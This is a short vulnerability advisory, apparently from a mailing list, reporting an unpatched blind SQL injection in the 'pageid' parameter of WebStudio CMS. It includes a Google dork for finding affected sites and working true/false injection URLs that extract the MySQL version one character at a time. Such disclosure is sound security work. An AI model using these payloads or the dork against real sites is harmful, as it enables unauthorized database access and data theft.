X-Virus-Scanned: antivirus-gw at tyumen.ru
Application: WebStudio CMS
Vendor Name: BDigital Media Ltd
Vendors Url: http://www.bdigital.biz
Bug Type: WebStudio CMS (pageid) Blind SQL Injection Vulnerability
Exploitation: Remote
Severity: Critical
Solution Status: Unpatched
Introduction: WebStudio CMS is a modular Web Content Management System solution.
Google Dork: "Powered by WebStudio"
Description:
WebStudio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PoC:
http://localhost/index.php?pageid=1+and+1=1 ( TRUE )
http://localhost/index.php?pageid=1+and+1=2 ( FALSE )
Exploit:
http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=3 ( TRUE )
http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=4 ( FALSE )
http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=5 ( FALSE )
Solution:
There was no vendor-supplied solution at the time of entry.
Edit source code manually to ensure user-supplied input is correctly sanitised.
